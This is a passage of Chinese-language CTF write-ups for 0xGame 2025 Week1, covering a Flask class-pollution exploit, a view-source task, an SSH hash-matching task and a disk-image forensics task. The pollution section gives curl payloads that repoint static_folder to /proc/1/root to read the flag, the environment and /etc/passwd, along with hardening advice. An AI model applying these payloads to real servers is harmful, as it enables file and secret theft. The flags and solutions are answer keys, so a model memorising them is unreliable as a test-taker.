&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;static&#x2F;environ&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; tr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;\0&amp;#39; &amp;#39;\n&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; head&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;关键一步：将静态根指向 &lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s -X POST &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;&amp;quot; -H &amp;#39;Content-Type: application&#x2F;json&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;  --data &amp;#39;{&amp;quot;__init__&amp;quot;:{&amp;quot;__globals__&amp;quot;:{&amp;quot;app&amp;quot;:{&amp;quot;static_folder&amp;quot;:&amp;quot;&#x2F;proc&#x2F;1&#x2F;root&amp;quot;}}}}&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -s &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell&quot;&gt;$BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;static&#x2F;flag&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实际输出示例：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{Welcome_to_Easy_Pollute~}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这一步绕开了 &lt;code&gt;&#x2F;&amp;lt;path&amp;gt;&lt;&#x2F;code&gt; 路由前置的 &lt;code&gt;os.path.exists(&#x27;templates&#x2F;&#x27; + path)&lt;&#x2F;code&gt; 检查，不需要层数穿越与编码绕过。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yuan-li-tui-dao-yu-an-quan-fen-xi&quot;&gt;原理推导与安全分析&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;合并函数的危险分支&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;code&gt;merge&lt;&#x2F;code&gt; 的伪代码行为可抽象为：给定 &lt;code&gt;src&lt;&#x2F;code&gt;（用户 JSON）与 &lt;code&gt;dst&lt;&#x2F;code&gt;（任意对象），若 &lt;code&gt;dst&lt;&#x2F;code&gt; 类字典则递归合并键；否则若 &lt;code&gt;dst&lt;&#x2F;code&gt; 有属性 &lt;code&gt;k&lt;&#x2F;code&gt; 且 &lt;code&gt;v&lt;&#x2F;code&gt; 是字典，递归；否则直接 &lt;code&gt;setattr(dst, k, v)&lt;&#x2F;code&gt;。这等价于暴露了“写任意属性”的能力。&lt;&#x2F;p&gt;
&lt;p&gt;形式化地看，若我们构造键序列 $k_1, k_2, \dots, k_n$ 以及叶子值 $v$，使得在归并路径上始终满足“可递归”或“可写”条件，则最终有&lt;&#x2F;p&gt;
&lt;p&gt;$$\operatorname{merge}({k_1: {\cdots {k_n: v}}}, \mathrm{Game0x}) \implies \mathrm{setattr}(o, k_n, v)$$&lt;&#x2F;p&gt;
&lt;p&gt;其中 $o$ 是通过前缀 $k_1,\dots,k_{n-1}$ 导航到的中间对象（如 &lt;code&gt;Game0x.__init__.__globals__[&#x27;app&#x27;]&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;选择 &lt;code&gt;static_folder&lt;&#x2F;code&gt; 而非 Jinja &lt;code&gt;searchpath&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;原本也可将 &lt;code&gt;app.jinja_env.loader.searchpath = [&#x27;&#x2F;&#x27;]&lt;&#x2F;code&gt;，再用 &lt;code&gt;render_template(path)&lt;&#x2F;code&gt; 读取。但该路由有 &lt;code&gt;os.path.exists(&#x27;templates&#x2F;&#x27; + path)&lt;&#x2F;code&gt; 前置检查，要求 &lt;code&gt;&#x27;templates&#x2F;&#x27; + path&lt;&#x2F;code&gt; 在文件系统上可达；实践中常被工作目录与层级差异卡住。相较之下，Flask 的静态文件路由不会附带该检查，污染 &lt;code&gt;static_folder&lt;&#x2F;code&gt; 更稳。&lt;&#x2F;p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt; 的优势&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;许多容器化&#x2F;CTF 环境中，1 号进程的根（&lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt;）反映了容器真实文件系统根。将静态根指向这个符号链接，相当于将 &lt;code&gt;&#x2F;static&lt;&#x2F;code&gt; 绑定到容器根，不再需要计算相对层数或关心应用工作目录，成功率极高。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-requests-ban&quot;&gt;自动化脚本（requests 版）&lt;&#x2F;h4&gt;
&lt;p&gt;建议使用独立虚拟环境（如 &lt;code&gt;uv&lt;&#x2F;code&gt;）运行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; solution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; init --python&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 3.11&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; add requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution.py --base http:&#x2F;&#x2F;nc1.ctfplus.cn:19346&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;脚本逻辑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;发送 &lt;code&gt;POST &#x2F;&lt;&#x2F;code&gt; 污染 &lt;code&gt;static_folder&lt;&#x2F;code&gt; 为 &lt;code&gt;&#x2F;proc&#x2F;1&#x2F;root&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;读取 &lt;code&gt;&#x2F;static&#x2F;flag&lt;&#x2F;code&gt; 输出；&lt;&#x2F;li&gt;
&lt;li&gt;附带一个回退选项：先测 &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt; 以确认能力。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;can-kao-yu-jia-gu-jian-yi&quot;&gt;参考与加固建议&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;设计递归合并函数时，严禁把不可信的映射直接合并进“任意对象”，尤其避免通过 &lt;code&gt;setattr&lt;&#x2F;code&gt; 改写实例内部状态。&lt;&#x2F;li&gt;
&lt;li&gt;对外暴露 JSON Patch&#x2F;merge 等接口时，应白名单目标结构；对函数、模块、实例等内建对象的“魔法属性”（如 &lt;code&gt;__globals__&lt;&#x2F;code&gt;）需要屏蔽。&lt;&#x2F;li&gt;
&lt;li&gt;模板系统与静态路由配置不应可被运行时随意篡改；生产环境中应最小化暴露可变全局。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Flag：&lt;code&gt;0xGame{Welcome_to_Easy_Pollute~}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;lemon-writeup&quot;&gt;Lemon Writeup&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-4&quot;&gt;题目信息&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;比赛：0xGame 2025 Week1 Web&lt;&#x2F;li&gt;
&lt;li&gt;题目：Lemon（200 分）&lt;&#x2F;li&gt;
&lt;li&gt;标签：前端、源代码审计&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;chu-bu-zhen-cha&quot;&gt;初步侦查&lt;&#x2F;h4&gt;
&lt;p&gt;最初访问 &lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;80-29913a1b-3472-4ff2-87f9-bafd4a69ee14.challenge.ctfplus.cn&quot;&gt;http:&#x2F;&#x2F;80-29913a1b-3472-4ff2-87f9-bafd4a69ee14.challenge.ctfplus.cn&lt;&#x2F;a&gt;，页面仅显示一行歌词，并通过 JavaScript 监听 &lt;code&gt;contextmenu&lt;&#x2F;code&gt; 与 &lt;code&gt;keydown&lt;&#x2F;code&gt; 事件，阻止右键和 F12 调试器。阻断调试界面属于常见的“刷存在感”手段，并不会限制我们直接拉取网页源码。因此我尝试：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用浏览器 &lt;code&gt;view-source:&lt;&#x2F;code&gt; 功能（在禁用右键的页面中仍然有效）。&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;curl&lt;&#x2F;code&gt; 等命令行工具直接获取 HTML。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;yuan-dai-ma-ti-qu&quot;&gt;源代码提取&lt;&#x2F;h4&gt;
&lt;p&gt;在命令行中执行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -s http:&#x2F;&#x2F;80-29913a1b-3472-4ff2-87f9-bafd4a69ee14.challenge.ctfplus.cn&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;返回的 HTML 中包含注释 &lt;code&gt;&amp;lt;!-- 0xGame{Welc0me_t0_0xG@me_2025_Web!!!} --&amp;gt;&lt;&#x2F;code&gt;。由注释形式可知 flag 已被嵌在源码里。题目没有进一步的跳转或加密逻辑，因此 flag 直接取值即可。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-4&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;p&gt;为便于复现，我在 &lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt; 中使用标准库 &lt;code&gt;urllib&lt;&#x2F;code&gt; 抓取页面，并用正则表达式提取满足模式 &lt;code&gt;0xGame{.*}&lt;&#x2F;code&gt; 的字符串。脚本通过 &lt;code&gt;uv run&lt;&#x2F;code&gt; 调起独立的 Python 环境，避免直接依赖系统解释器：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;脚本输出 &lt;code&gt;$0xGame{Welc0me_t0_0xG@me_2025_Web!!!}$&lt;&#x2F;code&gt;，与手工分析得到的结果一致。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zui-zhong-da-an-1&quot;&gt;最终答案&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;flag：&lt;code&gt;$0xGame{Welc0me_t0_0xG@me_2025_Web!!!}$&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;fu-pan-2&quot;&gt;复盘&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;页面层面仅做了基础的调试骚扰，提示我们要关注源码。&lt;&#x2F;li&gt;
&lt;li&gt;借助命令行工具直接抓包是绕过前端限制的通用方法。&lt;&#x2F;li&gt;
&lt;li&gt;记录自动化脚本有助于批量验证，也利于后期复盘。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;misc&quot;&gt;misc&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;ezshell-plus-jie-ti-bao-gao&quot;&gt;ezShell_PLUS 解题报告&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-5&quot;&gt;题目信息&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;题目：ezShell_PLUS（Misc &#x2F; Week1 &#x2F; 简单）&lt;&#x2F;li&gt;
&lt;li&gt;目标：通过 SSH 登录容器，利用提供的哈希与解密脚本找回隐藏信息。&lt;&#x2F;li&gt;
&lt;li&gt;登录凭据：&lt;code&gt;welcome&#x2F;hacker&lt;&#x2F;code&gt;，端口 &lt;code&gt;49313&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-ti-liu-cheng&quot;&gt;解题流程&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;勘查环境&lt;&#x2F;strong&gt;：登录后在 &lt;code&gt;&#x2F;home&#x2F;welcome&#x2F;challenge&lt;&#x2F;code&gt; 下发现 &lt;code&gt;hash_value&lt;&#x2F;code&gt;、&lt;code&gt;decrypt.sh&lt;&#x2F;code&gt; 以及 &lt;code&gt;files&lt;&#x2F;code&gt; 目录。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;读取哈希&lt;&#x2F;strong&gt;：&lt;code&gt;cat hash_value&lt;&#x2F;code&gt; 得到目标 SHA256 —— &lt;code&gt;cdae1e73…997b553&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;匹配密文文件&lt;&#x2F;strong&gt;：对 &lt;code&gt;files&#x2F;*.dat&lt;&#x2F;code&gt; 批量执行 &lt;code&gt;sha256sum&lt;&#x2F;code&gt;，定位到哈希匹配的文件 &lt;code&gt;558c1a43e0ce90df.dat&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;解密&lt;&#x2F;strong&gt;：运行 &lt;code&gt;.&#x2F;decrypt.sh files&#x2F;558c1a43e0ce90df.dat&lt;&#x2F;code&gt;，脚本会读取 &lt;code&gt;&#x2F;etc&#x2F;secret_key.backup&lt;&#x2F;code&gt; 作为密码，最终输出 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-5&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;文件：&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;逻辑：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;通过 Paramiko 建立 SSH 连接。&lt;&#x2F;li&gt;
&lt;li&gt;读取 &lt;code&gt;hash_value&lt;&#x2F;code&gt;，遍历 &lt;code&gt;files&lt;&#x2F;code&gt; 下的 &lt;code&gt;.dat&lt;&#x2F;code&gt; 文件计算 SHA256。&lt;&#x2F;li&gt;
&lt;li&gt;找到匹配文件后调用 &lt;code&gt;decrypt.sh&lt;&#x2F;code&gt; 执行解密。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用方式：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; solution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出示例：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;目标 SHA256: cdae1e7300420ddf2500f05c1247f572f06eade2862fb1c56ffd25812997b553&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;匹配文件: &#x2F;home&#x2F;welcome&#x2F;challenge&#x2F;files&#x2F;558c1a43e0ce90df.dat&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{Welc0me_to_H@ckers_w0r1d}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;flag-2&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;0xGame{Welc0me_to_H@ckers_w0r1d}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;do-not-enter-jie-ti-bao-gao&quot;&gt;Do_not_enter 解题报告&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-zhai-yao&quot;&gt;题目摘要&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;类型：Misc &#x2F; Week1 &#x2F; 简单（有大量假旗，禁止爆破）&lt;&#x2F;li&gt;
&lt;li&gt;附件：&lt;code&gt;do_not_enter.dd.gz&lt;&#x2F;code&gt;（MBR 整盘镜像，解压得 &lt;code&gt;do_not_enter.dd&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;叙事：Yolo 的磁盘里有“禁区”，真正的宝藏只会在正确的地方出现一次。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;huan-jing-yu-gong-ju&quot;&gt;环境与工具&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;建议使用 &lt;code&gt;p7zip&lt;&#x2F;code&gt;（7z）与 &lt;code&gt;ripgrep&lt;&#x2F;code&gt; 验证；本仓库已提供自动化脚本。&lt;&#x2F;li&gt;
&lt;li&gt;目录结构：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;task&#x2F;do_not_enter.dd&lt;&#x2F;code&gt;：题目镜像&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;：一键抽取唯一正确 flag 的脚本&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;zong-ti-si-lu&quot;&gt;总体思路&lt;&#x2F;h4&gt;
&lt;p&gt;题面强调：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;存在大量 fake flag；&lt;&#x2F;li&gt;
&lt;li&gt;平台禁止爆破；&lt;&#x2F;li&gt;
&lt;li&gt;唯一正确答案需要“在正确的方式下完整找到”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;据此推断，真正的唯一性不在于字符串本身，而在于“来源位置与语义”。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ji-shu-chai-jie&quot;&gt;技术拆解&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;镜像分块&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;7z l task&#x2F;do_not_enter.dd&lt;&#x2F;code&gt; 可直接列出 6 个“分块”：&lt;code&gt;0.img, 1.img, 2.img, 3.img, 4, 5&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;进一步 &lt;code&gt;file&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;7z l&lt;&#x2F;code&gt; 识别：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0.img&#x2F;1.img&#x2F;2.img&#x2F;3.img&lt;&#x2F;code&gt; 为 ext4 文件系统镜像，卷标分别为：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;UserShare&lt;&#x2F;code&gt;、&lt;code&gt;Do_not_enter&lt;&#x2F;code&gt;、&lt;code&gt;WebServer&lt;&#x2F;code&gt;、&lt;code&gt;SysLogs&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;4&lt;&#x2F;code&gt; 为全零数据；&lt;code&gt;5&lt;&#x2F;code&gt; 是零填充中掺杂 ASCII 文本（大量假旗）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;假旗的海洋&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;四个 ext4 镜像的日志（&lt;code&gt;auth.log&#x2F;syslog&#x2F;dpkg.log&lt;&#x2F;code&gt;）以及分块 &lt;code&gt;5&lt;&#x2F;code&gt; 中塞满了形如
&lt;code&gt;0xGame{WoW_y0u_fouNd_1t?_NNNNNN}&lt;&#x2F;code&gt; 的“编号态 flag”。&lt;&#x2F;li&gt;
&lt;li&gt;统计结果（可复现）：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0.img&lt;&#x2F;code&gt;：50 个&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;2.img&lt;&#x2F;code&gt;：50 个&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;3.img&lt;&#x2F;code&gt;：50 个&lt;&#x2F;li&gt;
&lt;li&gt;分块 &lt;code&gt;5&lt;&#x2F;code&gt;：30 个&lt;&#x2F;li&gt;
&lt;li&gt;以上皆为“迷惑项”，并非唯一正确来源。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;唯一性线索：禁区与真实挂载&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1.img&lt;&#x2F;code&gt; 的卷标即为 &lt;code&gt;Do_not_enter&lt;&#x2F;code&gt;，且 &lt;code&gt;7z l 1.img&lt;&#x2F;code&gt; 可见 &lt;code&gt;Last Mounted = &#x2F;mnt&#x2F;real_target&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;该分区符合“禁区&#x2F;真实目标”的叙事意象，是题面提示的“正确方式&#x2F;正确位置”。&lt;&#x2F;li&gt;
&lt;li&gt;关键事实：在 &lt;code&gt;1.img&lt;&#x2F;code&gt; 中仅出现 1 条编号态 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;结论&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1.img&lt;&#x2F;code&gt; → &lt;code&gt;syslog&lt;&#x2F;code&gt; 唯一出现：&lt;code&gt;0xGame{WoW_y0u_fouNd_1t?_114514}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;其它分区&#x2F;分块中的 180 条均为假旗，用以干扰与诱导爆破。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-6&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;路径：&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;逻辑：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;7z&lt;&#x2F;code&gt; 将 &lt;code&gt;task&#x2F;do_not_enter.dd&lt;&#x2F;code&gt; 解出到工作目录；&lt;&#x2F;li&gt;
&lt;li&gt;仅对 &lt;code&gt;1.img&lt;&#x2F;code&gt;（禁区分区）展开，读取 &lt;code&gt;syslog&#x2F;auth.log&#x2F;dpkg.log&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;用正则抓取 flag 模式；断言只出现一次；输出最终 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;运行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; solution&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;运行示例输出：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{WoW_y0u_fouNd_1t?_114514}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;wu-qu-yu-pai-chu-ji-lu-chang-shi-guo-cheng&quot;&gt;误区与排除（记录尝试过程）&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;尝试将 181 个编号作模 26&#x2F;27、base36 或差分映射，再用四元文法&#x2F;分词打分解替换密码文本，会得到若干“似是而非”的英文碎句；
但这些碎片跨分区拼接，违背“唯一来源”的叙事，因此不作为答案依据。&lt;&#x2F;li&gt;
&lt;li&gt;分块 &lt;code&gt;5&lt;&#x2F;code&gt; 为零填充中穿插 ASCII 的诈骗层，出现 30 条假旗；其结构非文件系统，也非真实目标。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
